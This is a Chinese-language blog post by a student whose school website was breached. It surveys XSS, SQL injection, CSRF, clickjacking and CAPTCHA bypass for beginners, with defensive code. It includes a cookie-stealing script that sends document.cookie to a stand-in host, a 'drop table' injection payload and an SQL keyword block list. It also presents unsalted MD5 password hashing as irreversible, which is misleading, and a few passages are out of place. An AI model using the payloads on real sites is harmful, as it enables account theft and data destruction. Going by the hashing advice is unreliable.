摘要：這里就提及一下所推出的圖片驗(yàn)證，目前已經(jīng)被很多人報(bào)道也是不安全的，攻擊者可以直接將圖片處理后丟入百度的識(shí)圖接口，返回的數(shù)值讓人驚訝。

之前忙于做各種事情，已經(jīng)很久沒(méi)寫(xiě)過(guò)文章，最近接的一個(gè)學(xué)校的網(wǎng)站項(xiàng)目，近期被人用自動(dòng)腳本攻破了（笑...），因?yàn)槲覀兊谝淮巫鲞@種上線(xiàn)的項(xiàng)目，完全沒(méi)有意識(shí)到一些web安全的知識(shí)，所以就開(kāi)始了緊急的漏洞補(bǔ)救和防護(hù)措施。所以我就把近期學(xué)習(xí)的知識(shí)總結(jié)下。目前我水平有限，只能做一個(gè)初級(jí)認(rèn)識(shí)，讓一些剛?cè)胄凶錾暇€(xiàn)的實(shí)際項(xiàng)目的同學(xué)能有所警惕。

作為這個(gè)網(wǎng)站項(xiàng)目組長(zhǎng)，我是完全不知道這些安全隱患問(wèn)題的，團(tuán)隊(duì)的人員也沒(méi)有研究過(guò)這些，所以造成了這個(gè)情況，因?yàn)槲覀兪窃谛４髮W(xué)學(xué)生，確實(shí)學(xué)無(wú)余力來(lái)研究這些，希望對(duì)還未出社會(huì)的初學(xué)者提個(gè)醒。

我只會(huì)大概提及它的攻擊原理和預(yù)防方法，具體的實(shí)現(xiàn)和深入研究還請(qǐng)大家自行百度，因?yàn)橹挥姓嬲枰玫讲艜?huì)去詳細(xì)了解，這里我只為web安全小白做知識(shí)掃盲。因?yàn)椴┲髂壳敖佑|最多的服務(wù)端語(yǔ)言是JAVA所以例子都從java web項(xiàng)目來(lái)講。

雖然我們目前做的是一個(gè)博客的小網(wǎng)站，但是以后無(wú)論是自己的博客還是實(shí)際的項(xiàng)目，都可以用圖片來(lái)提供外鏈，方便管理，如果你的網(wǎng)站訪(fǎng)問(wèn)量很高啊，一天幾十萬(wàn)幾百萬(wàn)啊，我的天啊，這時(shí)候你考慮的就不是服務(wù)器空間夠不夠大，而是驚人的并發(fā)數(shù)啊，光是請(qǐng)求html文件（或其他）的鏈接就處理不過(guò)來(lái)了，哪還有多余的資源去讀取圖片啊，索性就把圖片存另一個(gè)服務(wù)器吧，給主服務(wù)器減輕壓力啊，于是圖床誕生了。

反射型XSS

它是通過(guò)誘使用戶(hù)打開(kāi)一個(gè)惡意鏈接，服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁(yè)面中，再傳遞給用戶(hù)由瀏覽器執(zhí)行，從而達(dá)到攻擊的目的。如下面的鏈接：

http://a.com/a.jsp?name=xss

a.jsp將頁(yè)面渲染成下面的html：

Hello xss

這時(shí)瀏覽器將會(huì)彈出提示框。

這算是常見(jiàn)的一種方法，預(yù)防的話(huà)可以通過(guò)后臺(tái)編寫(xiě)方法來(lái)攔截過(guò)濾到這些非法或有攻擊性的字符。

持久型XSS

持久型XSS將惡意代碼提交給服務(wù)器，并且存儲(chǔ)在服務(wù)器端，當(dāng)用戶(hù)訪(fǎng)問(wèn)相關(guān)內(nèi)容時(shí)再渲染到頁(yè)面中，以達(dá)到攻擊的目的，它的危害更大。

比如，攻擊者寫(xiě)了一篇帶惡意JS代碼的博客，文章發(fā)表后，所有訪(fǎng)問(wèn)該博客文章的用戶(hù)都會(huì)執(zhí)行這段惡意JS。

這個(gè)相對(duì)來(lái)說(shuō)對(duì)我們開(kāi)發(fā)網(wǎng)站來(lái)說(shuō)不算重要，但是要小心攻擊者在你網(wǎng)站注入一些非法代碼，從而達(dá)到這個(gè)目的。

Cookie中一般保存了當(dāng)前用戶(hù)的登錄憑證，如果可以得到，往往意味著可直接進(jìn)入用戶(hù)帳戶(hù)，而Cookie劫持也是最常見(jiàn)的XSS攻擊。以上面提過(guò)的反射型XSS的例子來(lái)說(shuō)，可以像下面這樣操作：

首先誘使用戶(hù)打開(kāi)下面的鏈接：

http://a.com/a.jsp?name=xss

用戶(hù)打開(kāi)鏈接后，會(huì)加載b.js，并執(zhí)行b.js中的代碼。b.js中存儲(chǔ)了以下JS代碼：

var img = document.createElement("img");
img.src = "http://b.com/log?" + escape(document.cookie);
document.body.appendChild(img);

上面的代碼會(huì)向b.com請(qǐng)求一張圖片，但實(shí)際上是將當(dāng)前頁(yè)面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過(guò)程。

防御Cookie劫持的一個(gè)簡(jiǎn)單的方法是在Set-Cookie時(shí)加上HttpOnly標(biāo)識(shí)，瀏覽器禁止JavaScript訪(fǎng)問(wèn)帶HttpOnly屬性的Cookie。

輸入檢查
對(duì)輸入數(shù)據(jù)做檢查，比如用戶(hù)名只允許是字母和數(shù)字，郵箱必須是指定格式。

一定要在后臺(tái)做檢查，否則數(shù)據(jù)可能繞過(guò)前端檢查直接發(fā)給服務(wù)器。
一般前后端都做檢查，這樣前端可以擋掉大部分無(wú)效數(shù)據(jù)。
對(duì)特殊字符做編碼或過(guò)濾，但因?yàn)椴恢垒敵鰰r(shí)的語(yǔ)境，所以可能會(huì)做不適當(dāng)?shù)倪^(guò)濾，最好是在輸出時(shí)具體情況具體處理。

輸出檢查
對(duì)渲染到HTML中內(nèi)容執(zhí)行HtmlEncode，對(duì)渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。

另外還可以使用一些做XSS檢查的開(kāi)源項(xiàng)目。

SQL注入常常會(huì)聽(tīng)到，它與XSS類(lèi)似，是由于用戶(hù)提交的數(shù)據(jù)被當(dāng)成命令來(lái)執(zhí)行而造成的。下面是一個(gè)SQL注入的例子：

String sql = "select * from user where username = "" + username + """;

像上面的SQL語(yǔ)句，如果用戶(hù)提交的username參數(shù)是leo，則數(shù)據(jù)庫(kù)執(zhí)行的SQL為：

select * from user where username = "leo"

但如果用戶(hù)提交的username參數(shù)是leo’; drop table user–，那執(zhí)行的SQL為：

select * from user where username = "leo"; drop table user--"

在查詢(xún)數(shù)據(jù)后，又執(zhí)行了一個(gè)刪除表的操作，這樣的后果非常嚴(yán)重。

博主本人的網(wǎng)站就是主要被SQL注入導(dǎo)致網(wǎng)站數(shù)據(jù)庫(kù)受損

防止SQL注入最好的方法是使用預(yù)編譯語(yǔ)句，如下面所示：

String sql = "select * from user where username = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
ResultSet results = pstmt.executeQuery();

不同語(yǔ)言的預(yù)編譯方法不同，但基本都可以處理。

如果遇到無(wú)法使用預(yù)編譯方法時(shí)，只能像防止XSS那樣對(duì)參數(shù)進(jìn)行檢查和編碼。

博主后面會(huì)貼出自己完善項(xiàng)目的檢測(cè)代碼，就是對(duì)網(wǎng)站可以進(jìn)行數(shù)據(jù)提交的表單的輸入進(jìn)行SQL語(yǔ)句檢測(cè)。

跨站請(qǐng)求偽造的英文全稱(chēng)是Cross Site Request Forgery，是由于操作所需的所有參數(shù)都能被攻擊者得到，進(jìn)而構(gòu)造出一個(gè)偽造的請(qǐng)求，在用戶(hù)不知情的情況下被執(zhí)行?？聪旅嬉粋€(gè)例子：

如果a.com網(wǎng)站需要用戶(hù)登錄后可以刪除博客，刪除博客的請(qǐng)求地址如下：

GET http://a.com/blog/delete?id=1

當(dāng)用戶(hù)登錄a.com后，又打開(kāi)了http://b.com/b.html，其中有下面的內(nèi)容：

這時(shí)會(huì)以用戶(hù)在a.com的身份發(fā)送http://a.com/blog/delete?id=1，刪除那篇博客。

驗(yàn)證碼

CSRF是在用戶(hù)不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況，驗(yàn)證碼則強(qiáng)制用戶(hù)與應(yīng)用交互，所以驗(yàn)證碼可以很好得防止CSRF。但不能什么請(qǐng)求都加驗(yàn)證碼。

referer檢查

檢查請(qǐng)求header中的referer也能幫助防止CSRF攻擊，但服務(wù)器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發(fā)送referer，所以也不常用。倒是圖片防盜鏈中用得很多。

Anti CSRF Token

更多的是生成一個(gè)隨機(jī)的token，在用戶(hù)提交數(shù)據(jù)的同時(shí)提交這個(gè)token，服務(wù)器端比對(duì)后如果不正確，則拒絕執(zhí)行操作。

作為了解，一般前面的攻擊都過(guò)了，就可以造成此類(lèi)攻擊。

點(diǎn)擊劫持是從視覺(jué)上欺騙用戶(hù)。攻擊者使用一個(gè)透明的iframe覆蓋在一個(gè)網(wǎng)頁(yè)上，誘使用戶(hù)在該網(wǎng)頁(yè)上操作，而實(shí)際點(diǎn)擊卻是點(diǎn)在透明的iframe頁(yè)面。

點(diǎn)擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。
點(diǎn)擊劫持的防御

針對(duì)iframe的攻擊，可使用一個(gè)HTTP頭：X-Frame-Options，它有三種可選值：

DENY： 禁止任何頁(yè)面的frame加載；
SAMEORIGIN：只有同源頁(yè)面的frame可加載；
ALLOW-FROM：可定義允許frame加載的頁(yè)面地址。

針對(duì)圖片覆蓋攻擊，則注意使用預(yù)防XSS的方法，防止HTML和JS注入。

作為了解，一般前面的攻擊都過(guò)了，就可以造成此類(lèi)攻擊。

我們負(fù)責(zé)的團(tuán)隊(duì)項(xiàng)目為學(xué)校網(wǎng)站制作，所以涉及到用戶(hù)輸入的地方都在后臺(tái)管理模塊，從后臺(tái)登錄界面開(kāi)始就應(yīng)該做一些防護(hù)措施了。

function validate(value) {
    var pattern = /[`~!@#$%^&*()_+<>?:"{},./;"[]]/im;
    if (value === "" || value === null) return false;
    if (pattern.test(value)) {
        alert("非法字符！");
        return false;
    }
    return true;
}

function filterSqlStr(value) {
    var str = "and,delete,or,exec,insert,select,union,update,count,*,",join,>,<";
    var sqlStr = str.split(",");
    var flag = true;
    
    for (var i = 0; i < sqlStr.length; i++) {
        if (value.toLowerCase().indexOf(sqlStr[i]) != -1) {
            flag = false;
            break;
        }
    }
    alert(flag);
    return flag;
}

JS封裝的2個(gè)方法，用于返回布爾值來(lái)判斷是否通過(guò)。第一個(gè)為了過(guò)濾掉非法字符，第二個(gè)為了過(guò)濾有關(guān)數(shù)據(jù)庫(kù)操作的非法字符。

//password  Md5
    
        public static String MD5Password(String oldstr) {
     
            char hexDigits[] = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
                    "a", "b", "c", "d", "e", "f" };
     
            byte[] oldbytes = oldstr.getBytes();
            
            try {
                
                MessageDigest md = MessageDigest.getInstance("MD5");// 獲取對(duì)象
                
                md.update(oldbytes);// 初始化對(duì)象
                
                byte[] newBytes = md.digest();// 運(yùn)行加密算法
                
                char[] newStr = new char[32];
                
                for (int i = 0; i < 16; i++) {
                    
                    byte temp = newBytes[i];
                    
                    newStr[2 * i] = hexDigits[temp >>> 4 & 0xf];
                    
                    newStr[2 * i + 1] = hexDigits[temp & 0xf];
                    
                }
                
                return new String(newStr);
                
            } catch (NoSuchAlgorithmException e) {
                
                return null;
                
            }
     
        }

通過(guò)在后臺(tái)對(duì)數(shù)據(jù)庫(kù)中，管理員的密碼進(jìn)行MD5加密然后存入加密后的字段進(jìn)去，在前臺(tái)通過(guò)加密前的字段輸入后在后臺(tái)進(jìn)行方法驗(yàn)證，實(shí)現(xiàn)MD5加密登錄。防止數(shù)據(jù)庫(kù)的密碼被暴露查詢(xún)出來(lái)。加密后無(wú)法被反解密出來(lái)。

同前臺(tái)登錄一樣的檢測(cè)方法，因?yàn)槲抑回?fù)責(zé)前臺(tái)檢測(cè)，如果黑客繞過(guò)了我的檢測(cè)，就要進(jìn)行后臺(tái)對(duì)數(shù)據(jù)傳過(guò)去的值進(jìn)行檢測(cè)，這時(shí)候就是后臺(tái)人員的工作了。所以前后臺(tái)都要進(jìn)行這些字符檢測(cè)，但是后臺(tái)的責(zé)任要重一點(diǎn)，因?yàn)閿?shù)據(jù)最終流向是在后臺(tái)服務(wù)器端，前臺(tái)只是初步防護(hù)而已。

目前驗(yàn)證碼字符驗(yàn)證已經(jīng)逐漸推出舞臺(tái)，但是有一些專(zhuān)門(mén)這塊驗(yàn)證服務(wù)的第三方平臺(tái)，通過(guò)對(duì)驗(yàn)證碼字符的不斷改進(jìn)和更新，對(duì)一些攻擊者來(lái)說(shuō)還是有防護(hù)作用，但是個(gè)人或企業(yè)網(wǎng)站還是用的一塵不變的驗(yàn)證方法的話(huà)，就很容易被攻擊成功。很多初學(xué)者都在前臺(tái)瀏覽器客戶(hù)端用JS進(jìn)行字符驗(yàn)證，很容易被破解跳過(guò)。好點(diǎn)的就在服務(wù)器進(jìn)行檢驗(yàn)，但是還是能被一些黑客經(jīng)過(guò)長(zhǎng)期的經(jīng)驗(yàn)發(fā)明的一些工具破解。
這里就提及一下12306所推出的圖片驗(yàn)證，目前已經(jīng)被很多人報(bào)道也是不安全的，攻擊者可以直接將圖片處理后丟入google、百度的識(shí)圖接口，返回的數(shù)值讓人驚訝。

居然能把第二張圖識(shí)別為沙縣小吃，我是覺(jué)得目前的人工智能的圖像識(shí)別技術(shù)很厲害，所以要不了多久這種驗(yàn)證方式也會(huì)被淘汰，除非不斷更新圖片庫(kù)。

滑塊驗(yàn)證和12306的圖片識(shí)別驗(yàn)證目前算是比較安全的驗(yàn)證手段，滑動(dòng)驗(yàn)證的核心并不是簡(jiǎn)單的拼接成功就可以過(guò)，所以也不是簡(jiǎn)單的算一下偏移量就能破解。滑動(dòng)驗(yàn)證做的好的是通過(guò)采集你的滑動(dòng)過(guò)程軌跡與服務(wù)器端的海量樣本進(jìn)行對(duì)比，區(qū)分人還是機(jī)器，用到了很多深度學(xué)習(xí)的技術(shù)，當(dāng)然市面上也有一些滑動(dòng)驗(yàn)證只是前端拼接就能過(guò)，大家還是要多多研究一下。

反正如果項(xiàng)目需要用到驗(yàn)證碼這塊，不能考慮只在客戶(hù)端進(jìn)行JS驗(yàn)證，客戶(hù)端的JS驗(yàn)證有的前提下，還要把數(shù)據(jù)返回到后臺(tái)來(lái)進(jìn)行驗(yàn)證，這樣可以大概率保證網(wǎng)站安全性，網(wǎng)站的攻防一直是持久的話(huà)題，沒(méi)有絕對(duì)的安全也沒(méi)有絕對(duì)的攻擊。推薦大家多嘗試網(wǎng)上的第三方服務(wù)商提供的驗(yàn)證服務(wù)，這樣節(jié)省自己的精力來(lái)研究驗(yàn)證漏洞以及頻繁的更新驗(yàn)證方法。

在校期間第一次認(rèn)識(shí)到web安全重要性，目前只是初步的認(rèn)識(shí)，如果后面了解了更多相關(guān)的知識(shí)，會(huì)繼續(xù)做補(bǔ)充。關(guān)于hexo搭建的博客的技術(shù)應(yīng)該不會(huì)再出什么文章了，有需要了解其他的知識(shí)的，會(huì)有困難的可以聯(lián)系我或下方留言，然后看情況是否整理為一篇文章來(lái)集中回答幫助其他人。